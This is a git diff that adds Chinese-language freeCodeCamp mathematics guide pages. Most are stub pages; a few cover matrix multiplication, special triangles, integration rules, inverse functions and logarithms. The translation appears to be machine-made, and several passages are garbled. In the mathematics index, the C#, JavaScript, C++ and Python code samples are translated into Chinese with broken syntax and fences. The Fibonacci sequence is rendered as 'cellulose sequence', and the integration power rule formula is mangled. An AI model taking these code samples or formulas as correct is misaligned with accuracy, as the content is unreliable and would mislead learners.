\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md b/client/src/guide/chinese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
new file mode 100644
index 0000000000..5efb40f673
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find Probabilities for Z with the Z Table
+localeTitle: 如何使用Z表查找Z的概率
+---
+## 如何使用Z表查找Z的概率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md b/client/src/guide/chinese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
new file mode 100644
index 0000000000..e623e3925d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Limit of a Function Algebraically
+localeTitle: 如何用代数方法找到函数的极限
+---
+## 如何用代数方法找到函数的极限
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-find-the-median-value/index.md b/client/src/guide/chinese/mathematics/how-to-find-the-median-value/index.md
new file mode 100644
index 0000000000..27ad536d2a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-find-the-median-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Median Value
+localeTitle: 如何找到中值
+---
+## 如何找到中值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-median-value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md b/client/src/guide/chinese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
new file mode 100644
index 0000000000..a0ca426b0c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Interpret a Correlation Coefficient R
+localeTitle: 如何解释相关系数R.
+---
+## 如何解释相关系数R.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-multiply-matrices/index.md b/client/src/guide/chinese/mathematics/how-to-multiply-matrices/index.md
new file mode 100644
index 0000000000..6f6bc33d1e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-multiply-matrices/index.md
@@ -0,0 +1,49 @@
+---
+title: How to Multiply Matrices
+localeTitle: 如何乘以矩阵
+---
+## 如何乘以矩阵
+
+第一个重要的规则是：矩阵A中的列数必须与B列中的行数匹配。
+
+计算两个矩阵乘积的第二个规则是：X行列。
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Matrix_multiplication_principle.svg/320px-Matrix_multiplication_principle.svg.png)
+
+得到的矩阵维度将是第二矩阵的第一矩阵X列的行。
+
+设A和B为维2的两个矩阵，即2 X 2.他们的产品将是：
+
+![](http://www.i-programmer.info/images/stories/News/2011/DEC/A/matrix1.jpg)
+
+resuting矩阵的行是第一矩阵行元素乘以第二矩阵列元素的乘积之和。
+
+#### 例
+
+设A为2×3矩阵，B为3×2矩阵。产品AB将是：
+
+*   **步骤1**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/12.gif)
+
+*   **第2步**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/13.gif)
+
+*   **第3步**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/14.gif)
+
+*   **第4步**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/15.gif)
+
+#### 注意！
+
+与实数代数不同，乘积AB并不总是等于BA。使用上面的例子计算它并找出答案。
+
+#### 更多信息：
+
+![关于矩阵乘法的讲座](https://www.khanacademy.org/math/precalculus/precalc-matrices/multiplying-matrices-by-matrices/v/matrix-multiplication-intro)
+
+![矩阵乘法的性质](https://www.khanacademy.org/math/precalculus/precalc-matrices/properties-of-matrix-multiplication/a/properties-of-matrix-multiplication)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md b/client/src/guide/chinese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
new file mode 100644
index 0000000000..e894cc76a7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the T Table to Solve Statistics Problems
+localeTitle: 如何使用T表解决统计问题
+---
+## 如何使用T表解决统计问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-use-the-z-table/index.md b/client/src/guide/chinese/mathematics/how-to-use-the-z-table/index.md
new file mode 100644
index 0000000000..cc59101697
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-use-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the Z Table
+localeTitle: 如何使用Z表
+---
+## 如何使用Z表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-z-table/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md b/client/src/guide/chinese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
new file mode 100644
index 0000000000..e4d1f7ec5e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
@@ -0,0 +1,16 @@
+---
+title: How to Work with 30 60 90 Degree Triangles
+localeTitle: 如何使用30 60 90度三角形
+---
+## 如何使用30 60 90度三角形
+
+30-60-90三角形是一个特殊的直角三角形，角度为30度，60度和90度。由于角度的这种特性，三角形的边长总是按以下比例：
+
+与30°角相对的一侧：与60°角相对的一侧：与90°角相对的一侧= ![](https://latex.codecogs.com/svg.latex?$&space;1&space;:&space;\sqrt{3}&space;:&space;2&space;$ "$ 1：\ sqrt {3}：2 $")  
+
+如果提到给定三角形是30-60-90三角形并且给出了一个边，那么我们可以计算出其他边的度量。
+
+考虑一个30-60-90的三角形，斜边（与90°相对的一侧）是6。  
+然后，与30°相反的一侧的尺寸为3，与60°相反的一侧的尺寸为![](https://latex.codecogs.com/svg.latex?$&space;3\sqrt{3}&space;$ "$ 3 \ sqrt {3} $")
+
+类似地，我们可以在给出一侧测量时计算剩余边的度量。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/identifying-the-45-45-90-degree-triangle/index.md b/client/src/guide/chinese/mathematics/identifying-the-45-45-90-degree-triangle/index.md
new file mode 100644
index 0000000000..1c78b98366
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/identifying-the-45-45-90-degree-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Identifying the 45 45 90 Degree Triangle
+localeTitle: 识别45 45 90度三角形
+---
+## 识别45 45 90度三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/identifying-the-45-45-90-degree-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/imaginary-numbers/index.md b/client/src/guide/chinese/mathematics/imaginary-numbers/index.md
new file mode 100644
index 0000000000..e1e7a1a401
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/imaginary-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Imaginary Numbers
+localeTitle: 虚数
+---
+## 虚数
+
+虚数“i”简单地定义为-1的平方根。换句话说，i 2 = -1。使用虚数（或其他人称之为复数）的原因之一是，您可以操纵包含平方根-1的方程式或表达式。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/implicit-differentiation/index.md b/client/src/guide/chinese/mathematics/implicit-differentiation/index.md
new file mode 100644
index 0000000000..fe327fb436
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/implicit-differentiation/index.md
@@ -0,0 +1,11 @@
+---
+title: Implicit Differentiation
+localeTitle: 隐分化
+---
+## 隐分化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/implicit-differentiation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/improper-fractions/index.md b/client/src/guide/chinese/mathematics/improper-fractions/index.md
new file mode 100644
index 0000000000..06d13387fa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/improper-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Improper Fractions
+localeTitle: 分数不正确
+---
+## 分数不正确
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/improper-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/indefinite-integral-of-1-over-x/index.md b/client/src/guide/chinese/mathematics/indefinite-integral-of-1-over-x/index.md
new file mode 100644
index 0000000000..c2acba7c0a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/indefinite-integral-of-1-over-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Indefinite Integral of 1 Over X
+localeTitle: X上的不定积分1
+---
+## X上的不定积分1
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/indefinite-integral-of-1-over-x/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/index.md b/client/src/guide/chinese/mathematics/index.md
new file mode 100644
index 0000000000..74422a7662
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/index.md
@@ -0,0 +1,96 @@
+---
+title: Mathematics
+localeTitle: 数学
+---
+## 数学
+
+在本节中，我们提供了各种数学概念的指南。
+
+### 编程中的数学
+
+尽管自己创建数学函数是一种很好的做法，但是有许多数学库可用于许多编程语言。这些 具有可用于执行计算的预定功能。在编程中，您通常会在高年级课程中涵盖这些主题 计算理论，算法设计和计算机语言设计。
+
+#### 斐波那契序列（生成函数）
+
+我们都知道递归运动从解决纤维素序列开始。这也是第一个展示动态编程能力的例子。因此，它是一类被称为生成函数的数学的特例。因此，我们将在这里讨论的内容一般适用于所有生成函数。 在数学中有一个概念，“每个生成函数都有一个序列，每个序列都有一个生成函数”。但是，问题出现在第二部分。一般来说，找到生成并不总是那么容易。为了记住这一点，我画了一个非终止有理数的类比“如果你知道十进制形式的数字，找到相应的小数形式并不容易，但如果我们知道分数，总是很容易找到小数形成”。因此，我们通常根据它们的顺序研究一些非常漂亮的生成函数。为什么？因为，我们知道序列很容易通过许多算法范例来处理。已知的一些着名序列是斐波那契，哈达玛（类似于加泰罗尼亚语）等。
+
+### 包括数学库
+
+在本节中，我们将向您展示如何将标准数学库包含在不同语言中，包括如何使用它的简短示例。
+
+#### C
+
+\`\`\`cs 使用System.Math;
+
+公共类计算器{
+
+private int \[\] array = {1,2,3,4,5};
+
+private int CalculatePoweredArray（int power，int \[\] arr）{ var poweredArray = arr; foreach（来自poweredArray的int nmbr）{ nmbr = Math.Pow（nmbr，power）; //第一个参数是要引发的数字，第二个参数是幂 } return poweredArray; }
+
+}
+```
+Calling the function with a power of 3 will give these results: 
+ [1, 8, 27, 64, 125] 
+ 
+ Documentation reference: <a href='https://msdn.microsoft.com/en-us/library/system.math(v=vs.110' target='_blank' rel='nofollow'>MSDN</a>.aspx) 
+ 
+ #### JavaScript 
+ With Node.js 
+```
+
+JavaScript的 var math = require（'mathjs'）;
+```
+In the browser 
+```
+
+HTML
+
+// use the math.js libary math.sqrt(-4); // result: 2i
+```
+Documentation reference: <a href='http://mathjs.org/docs/index.html' target='_blank' rel='nofollow'>Math.js documentation</a> 
+ 
+ #### C++ 
+```
+
+CPP
+
+# 包括
+```
+Documentation reference: <a href='http://www.cplusplus.com/reference/cmath/' target='_blank' rel='nofollow'>cplusplus reference</a> 
+ 
+ #### Python 
+```
+
+蟒蛇
+
+> > > 导入数学 math.sqrt（9）//只考虑正根 3.0 math.pi //你也可以使用像pi和e这样的数学辅音 3.141592653589793 math.radians（90）//将度数转换为弧度 1.5707963267948966
+```
+In addition to the standard `math` module, there are several other mathematical helper libraries available on [PyPI](https://pypi.org/). For example: 
+```
+
+贝壳 $ pip install numpy $ python
+
+> > > 导入numpy为np np.zeros（（3,4））
+```
+This returns a 3x4 array populated with 0s. 
+ 
+ #### Java 
+```
+
+java的 import java.lang.Math
+```
+The `math` module can also be imported as follows, and the usage difference is illustrated: 
+```
+
+蟒蛇
+
+> > > 从数学导入\* SQRT（4） 2.0 PI 3.141592653589793
+
+\`\`\`
+
+文档参考： [Python 2](https://docs.python.org/2/library/math.html) | [Python 3](https://docs.python.org/3/library/math.html)
+
+### 其他资源
+
+数学概念的动画可视化可以在[3 Blue 1 Brown](http://www.3blue1brown.com/)和[Khan Academy找到](https://www.khanacademy.org/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inductive-and-deductive-reasoning/index.md b/client/src/guide/chinese/mathematics/inductive-and-deductive-reasoning/index.md
new file mode 100644
index 0000000000..39d00f9eaf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inductive-and-deductive-reasoning/index.md
@@ -0,0 +1,11 @@
+---
+title: Inductive and Deductive Reasoning
+localeTitle: 归纳和演绎推理
+---
+## 归纳和演绎推理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inductive-and-deductive-reasoning/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/infinite-geometric-series/index.md b/client/src/guide/chinese/mathematics/infinite-geometric-series/index.md
new file mode 100644
index 0000000000..a4c523efea
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/infinite-geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Infinite Geometric Series
+localeTitle: 无限几何系列
+---
+## 无限几何系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/infinite-geometric-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/integral/index.md b/client/src/guide/chinese/mathematics/integral/index.md
new file mode 100644
index 0000000000..cf371103ae
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/integral/index.md
@@ -0,0 +1,11 @@
+---
+title: Integral
+localeTitle: 积分
+---
+## 积分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integral/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/integration-by-parts/index.md b/client/src/guide/chinese/mathematics/integration-by-parts/index.md
new file mode 100644
index 0000000000..ce456009a7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/integration-by-parts/index.md
@@ -0,0 +1,11 @@
+---
+title: Integration by Parts
+localeTitle: 按部件集成
+---
+## 按部件集成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integration-by-parts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/integration-rules/index.md b/client/src/guide/chinese/mathematics/integration-rules/index.md
new file mode 100644
index 0000000000..19c39d6d7e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/integration-rules/index.md
@@ -0,0 +1,31 @@
+---
+title: Integration Rules
+localeTitle: 集成规则
+---
+## 集成规则
+
+与差异化一样，我们在集成功能时使用各种规则。以下是一些最常见的。
+
+**常数规则：** ∫kdx= kx + C其中k是常数
+
+**权力规则：** ∫×n个 DX = +×n个+ 1 / \+ 1 + N≠1当C
+
+**指数规则：** ∫ËKX DX = 1 / KXËKX + C，其中，k是常数
+
+**三角规则：**
+
+∫cos（x）dx = sin（x）+ C.
+
+∫sin（x）dx = -cos（x）+ C.
+
+**和/差规则：**
+
+∫\[f（x）+ g（x）\] dx =∫f（x）dx +∫g（x）dx
+
+∫\[f（x） - g（x）\] dx =∫f（x）dx - ∫g（x）dx
+
+#### 更多信息：
+
+[带示例的基本规则](http://archive.learnhigher.ac.uk/resources/files/Numeracy/Integration_webversion.pdf)
+
+[深入分析指南](http://tutorial.math.lamar.edu/pdf/Calculus_Cheat_Sheet_Integrals.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intercepts-from-an-equation/index.md b/client/src/guide/chinese/mathematics/intercepts-from-an-equation/index.md
new file mode 100644
index 0000000000..55d6b8038e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intercepts-from-an-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Intercepts from an Equation
+localeTitle: 截取方程式
+---
+## 截取方程式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intercepts-from-an-equation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/interior-angles-of-polygons/index.md b/client/src/guide/chinese/mathematics/interior-angles-of-polygons/index.md
new file mode 100644
index 0000000000..ccd491bf0f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/interior-angles-of-polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Interior Angles of Polygons
+localeTitle: 多边形的内角
+---
+## 多边形的内角
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interior-angles-of-polygons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intermediate-value-theorem/index.md b/client/src/guide/chinese/mathematics/intermediate-value-theorem/index.md
new file mode 100644
index 0000000000..5223d234d4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intermediate-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Value Theorem
+localeTitle: 中值定理
+---
+## 中值定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intermediate-value-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/interquartile-range-iqr/index.md b/client/src/guide/chinese/mathematics/interquartile-range-iqr/index.md
new file mode 100644
index 0000000000..d1f44f619c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/interquartile-range-iqr/index.md
@@ -0,0 +1,11 @@
+---
+title: Interquartile Range Iqr
+localeTitle: Interquartile Range Iqr
+---
+## Interquartile Range Iqr
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interquartile-range-iqr/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intervals/index.md b/client/src/guide/chinese/mathematics/intervals/index.md
new file mode 100644
index 0000000000..bcca5d938c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Intervals
+localeTitle: 间隔
+---
+## 间隔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intervals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md b/client/src/guide/chinese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
new file mode 100644
index 0000000000..9282c0b111
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Equations and Graphs
+localeTitle: 绝对值方程和图的介绍
+---
+## 绝对值方程和图的介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-equations-and-graphs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-absolute-value-inequalities/index.md b/client/src/guide/chinese/mathematics/intro-to-absolute-value-inequalities/index.md
new file mode 100644
index 0000000000..3eaf2029d4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-absolute-value-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Inequalities
+localeTitle: 绝对值不等式简介
+---
+## 绝对值不等式简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-inequalities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-arcsine/index.md b/client/src/guide/chinese/mathematics/intro-to-arcsine/index.md
new file mode 100644
index 0000000000..e7a40294a4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-arcsine/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Arcsine
+localeTitle: Arcsine简介
+---
+## Arcsine简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-arcsine/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-composing-functions/index.md b/client/src/guide/chinese/mathematics/intro-to-composing-functions/index.md
new file mode 100644
index 0000000000..85f83c2392
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-composing-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Composing Functions
+localeTitle: 撰写函数简介
+---
+## 撰写函数简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-composing-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-graphing-two-variable-inequalities/index.md b/client/src/guide/chinese/mathematics/intro-to-graphing-two-variable-inequalities/index.md
new file mode 100644
index 0000000000..bce4eb94cb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-graphing-two-variable-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Graphing Two Variable Inequalities
+localeTitle: 图形化两个变量不等式的介绍
+---
+## 图形化两个变量不等式的介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-graphing-two-variable-inequalities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-inverse-functions/index.md b/client/src/guide/chinese/mathematics/intro-to-inverse-functions/index.md
new file mode 100644
index 0000000000..575cd2e47e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-inverse-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Intro to Inverse Functions
+localeTitle: 反函数简介
+---
+## 反函数简介
+
+假设你试图在y = x线上反映y = 3x。这条线的等式是什么？如下图所示，它将是y = 1 / 3x。但为什么会这样呢？如果你互相交换x和y并求解y，你会发现方程式是相同的。这就是所谓的反函数。
+
+![](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/369430.image1.jpg)
+
+[帮助我们的社区扩展这篇文章](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-inverse-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+“如何[绘制](http://www.dummies.com/education/math/calculus/how-to-graph-the-inverse-of-a-function/)函数的逆。” [Dummies.com](http://www.dummies.com/education/math/calculus/how-to-graph-the-inverse-of-a-function/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-linear-equation-standard-form/index.md b/client/src/guide/chinese/mathematics/intro-to-linear-equation-standard-form/index.md
new file mode 100644
index 0000000000..8541c5ba32
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-linear-equation-standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Linear Equation Standard Form
+localeTitle: 线性方程标准表的介绍
+---
+## 线性方程标准表的介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-linear-equation-standard-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-logarithm-properties/index.md b/client/src/guide/chinese/mathematics/intro-to-logarithm-properties/index.md
new file mode 100644
index 0000000000..beadb27f2e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-logarithm-properties/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Logarithm Properties
+localeTitle: 对数属性简介
+---
+## 对数属性简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-logarithm-properties/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-logarithms/index.md b/client/src/guide/chinese/mathematics/intro-to-logarithms/index.md
new file mode 100644
index 0000000000..5548d37982
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-logarithms/index.md
@@ -0,0 +1,42 @@
+---
+title: Intro to Logarithms
+localeTitle: 对数简介
+---
+## 对数简介
+
+对数是用于查找基数被提升到什么功率以便接收特定输出的数学函数。
+
+![日志图](https://cdn.kastatic.org/googleusercontent/CfdIRZu_iMA_DFp7EilcK9igLFA42jd2hksGilRMBdINxoLKxj2LAWCjQxvj8m9E3Ik6tmVfPAFIx4whUTPp-KZw)
+
+_在示例中，变量b是基数，而变量a是期望的输出，变量c是指数。_
+
+日志用于现实世界中的各种事物。它们用于pH范围，地震强度（里氏震级）和许多其他事物的测量。
+
+python中的日志示例：
+
+```python
+import math 
+ 
+ # math.log(value, base) - outputs exponent 
+ math.log(100, 10) #outputs 2 
+ math.log(2, 2) #outputs 1 
+```
+
+#### 资料来源：
+
+*   https://betterexplained.com/articles/using-logs-in-the-real-world/
+*   https://www.khanacademy.org/math/algebra2/exponential-and-logarithmic-functions/introduction-to-logarithms/a/intro-to-logarithms
+
+### 对数的定义
+
